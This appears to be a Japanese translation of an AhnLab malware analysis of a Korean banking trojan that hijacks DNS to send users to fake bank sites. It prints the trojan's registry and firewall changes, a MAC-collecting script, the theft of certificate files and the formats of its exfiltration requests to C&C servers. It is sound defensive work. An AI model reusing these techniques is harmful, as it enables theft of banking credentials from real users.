インターネットバンキング情報を搾取するマルウェア(ファーミング)分析
本レポートは、アンラボコリアより発表された内容を翻訳したものです。
----------------------------------------------------------------------------------------------
最近、特定の企業や政府機関の情報ネットワークに侵入して秘密情報を流出する攻撃が増加している。しかし、相変わらず不特定多数を対象にする攻撃を好む攻撃者もいる。このような不特定多数を対象にする攻撃として、インターネットバンキングユーザーを狙って口座振込みに必要な情報を搾取し金銭的な利益を得るマルウェア(BankiまたはBanker)がよく使用されている。ここでは、インターネットバンキング情報を搾取するマルウェアの中でも最近頻繁に流布されているマルウェアである「DNS改ざん型Banki」について分析する。
流布方法
インターネットバンキング情報を搾取するマルウェアが韓国に初めて登場して以来、この攻撃に対応するため、制度的・技術的にさまざまな試みが行われている。しかし、攻撃手法も次第に進化している。
インターネットバンキングは人の財産と直接的に関連があるため、ユーザーが受ける被害が大きく、セキュリティ会社はインターネットバンキング情報を搾取するマルウェアに対するモニタリングおよび対応を重要としている。このため、攻撃者もなるべく短時間でマルウェアを流布し、一定時間のみサーバーへ接続できるようにしている。以前は、主に週末にマルウェアが流布される傾向があったが、最近では平日にも頻繁に流布されている。
攻撃者が短時間で多くのシステムを感染させるために使用する方法として次のようなものがある。
①他のプログラムに含まれて流布 : ウェブハードプログラムまたはその他不要なプログラム(Potentially Unwanted Program、以下PUP)の範囲に含まれるプログラム内にインターネットバンキング情報を搾取するマルウェアを隠す方法を利用する。元のプログラムが正常に実行した後、マルウェアはバックグラウンドで動作しユーザーの公認認証書を搾取する。また、セキュリティカード番号などの情報の入力を誘導するサイトに自動でリダイレクトされるようにシステムを操作する。大半のユーザーは自らダウンロードしたプログラム内にマルウェアが含まれていること、システムが操作されていることに気付かないため、接続する銀行またはポータルサイトが正常なサイトだと思い込み、情報を入力してしまう恐れがある。

[図 1]他の正常なプログラムに含まれて流布されるマルウェア
②脆弱なWebサイトを改ざんして流布 : セキュリティに脆弱性が存在するWebサイトのうち、アクセス数が多いサイトを狙って、一部のページを改ざんすることでマルウェアを流布する方法である。この際、JAVA脆弱性などを共に悪用する場合が多い。本来は正常に使用されているWebサイトに接続するため、大半のユーザーは認識していない状態でシステムがマルウェアに感染する。

[図 2] 脆弱なWebサイトを改ざんして流布されるマルウェア
DNS改ざん型Bankiは、上記の2つの方法を両方使用して流布された履歴が存在しており、流布時に主に確認されるファイル名は「inst.exe」、「bbs.exe」、「sb.exe」、「ss.exe」などがある。脆弱なWebサイトを改ざんして流布された事例には韓国の有名な航空会社ホームページも含まれており、多くのユーザーが感染した恐れがある。
流布状況
[図 3] DNS改ざん型Bankiの流布履歴
[図 3]は、DNS改ざん型Banki の2014年12月頃からの流布履歴である。DNS改ざん型Bankiは2014年10月頃から発見されており、亜種も相次いで発見されている。数時間で流布して消滅する場合もあれば、約10日間流布を続けた場合もある。流布に成功したケースも各流布パスにおいて数十件から数千件まで確認されており、多数のユーザーが危険な環境にさらされていることが分かる。
[図 4]は、2015年1月13日~2015年1月27日におけるDNS改ざん型Bankiの流布推移である。平日、週末を問わず、新しい流布パスが発見されており、さまざまな時間帯に流布されている。

[図 4] 2015年1月13日~1月27日のDNS改ざん型Bankiの流布推移
C&Cサーバーの状況
ユーザーシステムがDNS改ざん型Bankiに感染すると、QQページ、経由地、C&Cサーバーなど、それぞれ異なるアドレスにネットワーク接続を試みる。
■ QQページ : 感染すると、まず、中国の有名なポータルサイトのQQが提供するブログサービスページに接続する。該当ページへの接続アドレスは、http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=[可変ID]?=[ランダム数字]形式であり、接続に成功するとC&C サーバーアドレスを取得できる。
■ 経由地 : 感染したシステムのMACアドレスを収集して転送するアドレスであり、 攻撃者が感染状況を把握するために使用するものと推定される。IPアドレスにすぐに接続を試みる場合もあるが、ドメイン名を使用して接続を試みる場合もある。
■ C&Cサーバー: 感染が完了した時点で、ユーザーシステムから収集した公認認証書の転送およびファーミングに使用される攻撃者サーバーである。同じ時間帯に流布された亜種、または類似した流布元からの亜種は、接続に使用される3つのアドレスが類似している場合がある。また、流布パスと同じようにほとんどが維持される周期は短い方である。
[図 5]は、DNS改ざん型Bankiの QQ ページへの接続件数および各ページにおける接続の継続日数を表示したものである。横軸は、接続に使用されたQQページへのアクセスに使用されたID値である。大半が数日以内に既存のページを削除して新しいページを作成するが、 1つのページに40日以上接続した場合もある。

[図 5] DNS改ざん型BankiのQQページへの接続状況
経由地の場合、QQページまたはC&Cサーバーに比べて、継続日数が長い。継続日数が長いほど、接続件数も多い。経由地で最も継続日数が長かった2つのアドレスのうち、1つは特定のドメインを使用しており(tongji11.gnway.cc)、もう1つはIPアドレスが直接接続に使用されていた。

[図 6] DNS改ざん型Bankiの経由地への接続状況
ユーザーのインターネットバンキング情報を取得するC&Cサーバーの場合は、QQページや経由地とは異なる特徴がある。それぞれのC&Cサーバーアドレスは非常に短時間維持される場合もあり、非常に長時間維持される場合もあった(1日以内または40日以上)。経由地のIPアドレス帯域は一貫性を見つけることが難しいが、C&Cアドレスの場合は類似した帯域のIPアドレスが多数確認されており、同じ攻撃者が一度に多数のサーバーを攻撃に利用していると考えられる。また、経由地に比べて多くのC&Cサーバーが存在しており、各C&Cサーバーへの接続件数は平均2件程度で非常に少ない。QQページや経由地の場合は、アドレスの継続日数に比例して接続件数も増加する傾向を見せたが、C&Cサーバーの場合は、継続日数が長い場合でも、接続件数は少なかった。

[図 7] DNS改ざん型BankiのC&Cサーバーへの接続状況
流布元とC&Cサーバーとの相関関係
[図 8]は、流布元、QQページ、経由地、C&Cサーバーとの相関関係を示している。各ノードを繋げる色が太くて赤色に近いほど多数の連結があり、細くて薄い色ほど相関関係が少ない。各ノードは1つの固有な流布元(ドメイン基準)またはC&Cサーバーアドレスを意味する。C&Cサーバーの10、11、15番ノードの場合は類似しているIPアドレス帯域を1つのノードで表示したものである。「流布→感染」の最も明確な相関関係が表れるパスは次の4つである。
(それぞれ、流布元 – QQページ - 経由地 - C&Cサーバーの順)
• 2番 - 2番 - 9番 - 15番(ha***.co.kr / uid=2932952979 / 59.13.211.147 / 67.229.x.x帯域)
• 11番 - 5番 - 8番 - 9番(www.mount*****.co.kr / uid=1772099015 / 49.143.199.74 / 174.139.101.19)
• (不明) - 9番 - 4番 - 10番(不明 /uid=2630266461 / 14.33.65.216 / 180.178.38.x帯域)
• (不明 )- 12番 -4番 - 11番(不明 / uid=3152307151/ 14.33.65.216 / 180.178.4x.x帯域)

[図 8] DNS改ざん型Bankiの流布元とC&Cサーバーアドレスとの相関関係
感染行為の概要
DNS改ざん型Bankiは、現在もさまざまなパスを通じて流布されており、攻撃者サーバーも新しく作られ続けている。ユーザーPCがDNS改ざん型Bankiに感染すると、次の3つの感染行為が確認される。
• システムの改ざん : システム自動実行一覧へのマルウェアの登録、ファイアウォール設定の改ざん、DNS設定の改ざん、スタートページの改ざんなど、ユーザーシステム上でさまざまな改ざんを行う。
• ユーザー情報の取得および流出 : ユーザーシステムのMACアドレス、インターネットバンキングに使用される公認認証書などを取得して攻撃者サーバーに転送する。
• ファーミングを通じた情報入力の要求 : さまざまなシステム設定の改ざんは、Syotom Bankiの最終機能であるファーミングのための準備過程である。Bankiに感染し、ユーザーがポータルサイトまたは銀行サイトへの接続を試みた際に攻撃者により偽サイトに接続される。そしてユーザーの個人情報およびセキュリティカード番号などを入力するように要求する。
[図 9] DNS改ざん型Bankiの感染行為
行為の詳細および特徴
Syotom Bankiの各感染行為の発生順による詳細および特徴は次の通りである。
1. システム自動実行一覧への登録およびMUTEXの生成
レジストリに自らを登録して、システムが起動するたびに自動で実行されるようにする。
-----------------------------------------------------------------------------------------------------------
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:******
-----------------------------------------------------------------------------------------------------------
また、レジストリへの登録時に使用した名前と同様の「Syotom」という名前のMUTEXを生成する。マルウェアごとに特殊な名前のMUTEXを生成する場合があるが、これはマルウェアが重複感染の有無をチェックするために使用する方法である。

[図 10] DNS改ざん型Bankiにより生成されたMUTEX
2. ファイアウォール設定の改ざん
マルウェアが外部と自由に通信できるように、本来システムに適用されていたファイアウォールポリシーにマルウェア自らを「許可する例外プログラム」として登録する。
-----------------------------------------------------------------------------------------------------------
HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List:[マルウェア実行パス]=[ マルウェア実行パス]:*:Enabled:Sevsl
-----------------------------------------------------------------------------------------------------------
3. DNS設定の改ざん
DNS改ざん型 Bankiの特徴は、自らがDNSサーバーの役割をするところである。DNS(Domain NameSystem)とは、IPアドレスとドメイン名を繋げるために必要なものである。例えば、ユーザーがwww.ahnlab.comというドメイン名を入力すると、実際のサーバーのIPアドレスである211.***.**.**に繋がる。 DNS改ざん型Bankiを始め、ファーミングマルウェアは、ユーザーが入力するドメイン名に対するIPアドレスを正常なDNSサーバーから取得するのではなく、攻撃者が途中で横取りし、攻撃者が指定するIPアドレスを送信する方法でインターネット接続を操作する。これまではシステムのhostsファイルを改ざんする方法でこのような機能を遂行していたが、セキュリティ会社が対応策を設けたため、DNS改ざん型 Bankiはhostsファイルの改ざんではなく、自らがDNSサーバーとして動作する方法を使用している。
自らを DNSサーバーとして設定するため、UDP 53番ポート(DNSサービス専用ポート)を使用して受信を待ち、次の値をレジストリに登録する。
-----------------------------------------------------------------------------------------------------------
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C73E7C88-7F6F-40A0-A2B7-9C53EC4C9528}:NameServer=127.0.0.1,8.8.8.8
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{642EF71F-C550-4186-984C-67EA3AC4A4CB}:NameServer=127.0.0.1,8.8.8.8
-----------------------------------------------------------------------------------------------------------
DNS改ざん型BankiによるシステムのDNS設定改ざんの詳細および効果は次の通りである。
• デフォルト設定DNSサーバー : 127.0.0.1(localhost)に設定する。ユーザーPCで発生するすべてのDNS検索要求は優先的にDNS改ざん型Bankiを通ることになり、そのうち、DNS改ざん型Bankiが対象にするポータルサイトおよび銀行サイトに関する要求に対しては、攻撃者のIPアドレスを応答として送信し、攻撃者サーバーに接続されるようにする。また、DNS改ざん型Bankiの対象ではないサイトに関するDNS検索要求は補助DNSサーバーに送信される。
• 補助DNSサーバー : 8.8.8.8に設定する。これは、Googleが提供しているDNSサーバーアドレスである。補助DNSサーバーは名前の通り、補助的な役割をするサーバーであり、デフォルト設定DNSサーバーから応答がない場合2次的にアクセスされる。大半の場合、デフォルトDNSサーバーで処理するので一般的には補助DNSサーバーを設定しなくても良いが、DNS改ざん型 Bankiは攻撃対象サイトに関する要求のみに応答するため、攻撃対象ではないサイトに関する要求に応答するための措置として補助DNSサーバーを設定する。攻撃対象サイトと攻撃対象ではないサイトの両方に応答することで、ユーザーに気付かれずに悪性行為を行うことができる。

[図 11] 正常なDNSサーバーとの動作方式
[図 12]DNS改ざん型BankiがDNSサーバーの役割をする場合の動作方式
4. QQページへの接続
マルウェアは、感染後、まずC&Cサーバーアドレスを取得するためにQQページに接続する。 QQ ページに接続する際に使用されるアドレスは次のように構成される。
-----------------------------------------------------------------------------------------------------------
http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=[可変ID]?=[ランダム数字]
-----------------------------------------------------------------------------------------------------------
接続すると[図 13]のような内容が表示される。「nickname」領域に表示されたIPアドレスが攻撃者が使用しようとするC&Cサーバーアドレスである。
[図 13] QQページに接続した際に表示される内容
5. 経由地への接続
ユーザーシステムのMACアドレスを収集して次のような形式で経由地アドレスに要求する。経由地アドレスはマルウェア内にBase64形式エンコーディングされた状態で存在しており、攻撃者がマルウェアを生成する時点ですでに経由地として使用するアドレスが決まっていることが分かる。
-----------------------------------------------------------------------------------------------------------
[経由地アドレス]/Count.asp?ver=001&mac=[MACアドレス]
-----------------------------------------------------------------------------------------------------------
また、MACアドレスの収集のために次のスクリプトを使用しており、これもBase64形式エンコーディングされた状態でマルウェア内に含まれていた。
-----------------------------------------------------------------------------------------------------------
Function MACAddress()
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo Inmc
If mo.IPEnabled=True Then
MACAddress= mo.MacAddress
Exit For
End If
Next
End Function
-----------------------------------------------------------------------------------------------------------
6. 公認認証書の取得
DNS改ざん型Bankiは、ユーザーシステムに保存されている公認認証書を搾取するため、公認認証書が保存される際に使用されるNPKIという文字列を含むパスを回りながら当該フォルダー内に保存されたファイルを取得する。当該パス内に存在するファイルはすべて1つの.zipファイルとして圧縮され、ユーザーシステムの一時フォルダーに一定の名前で生成される。
-----------------------------------------------------------------------------------------------------------
C:\documents and settings\[ユーザー名]\local settings\temp\f91d6992fc2a47e9f9cb3ef9d27bf73f.zip
-----------------------------------------------------------------------------------------------------------

[図 14] DNS改ざん型Bankiにより圧縮されたNPKIフォルダーの内部ファイル
7. C&Cサーバーへの接続および公認認証書の転送
QQページから取得したC&Cサーバーアドレスには2つの要求が転送される。
1つ目の要求時に因子に送信される数字は同一システムでも毎回異なる数字が生成されるが、サーバーから送信される応答はC&Cサーバーアドレスが変わった場合でも「5b60ebdab508b264fe58cf7f4a679de2」であった。
2つ目の要求は、ユーザーの公認認証書に関する圧縮ファイルを転送する過程であり、次のような形式で転送される。
-----------------------------------------------------------------------------------------------------------
GET /ip.php?=[ランダム数字]
POST /upload.php
-----------------------------------------------------------------------------------------------------------

[図 15] 取得した公認認証書の転送時のパケットダンプ
8. スタートページの改ざんおよびファーミング
最終段階として、ユーザーシステムでInternet Explorerのスタートページを偽ポータルサイトに改ざんする。DNS改ざん型Bankiは、自らDNSサーバーの役割をしながら偽ポータルサイトのドメイン名に対して攻撃者サーバーアドレスを通じて応答するため、実際には攻撃者サーバー(C&Cサーバーアドレス)に接続される。
攻撃者サーバーから転送される偽ポータルサイトページは、時間によって、または攻撃者によって変化するものと見られる。 9の銀行のみを対象にするページもあれば、亜種では12の銀行を対象にするページも確認された。
攻撃対象の銀行サイトを1つ選択して接続すると、実際の銀行サイトにそっくりの偽銀行サイトに接続され、アドレスは[www.銀行サイトアドレス.com]ではなく、[www. 銀行サイトアドレス.com.r]である。
銀行業務関連メニューをクリックすると、個人/法人認証が必要というメッセージと共に、氏名、口座番号、口座の暗証番号、認証書のパスワード、セキュリティカード番号などの入力を要求するページが表示される。
■ AhnLabのV3製品群では、次のような名前で診断する。
Trojan/Win32.Agent
Trojan/Win32.Banki
Trojan/Win32.Packed
Trojan/Win32.Small
Trojan/Win32.StartPage
ユーザーシステムの保護のためには、セキュリティソリューションのエンジンを最新バージョンに維持することが重要である。上記のマルウェアに感染したことがある場合は、ユーザーの公認認証書がすでに流出している可能性があるため、新しい公認認証書を発行することを推奨する。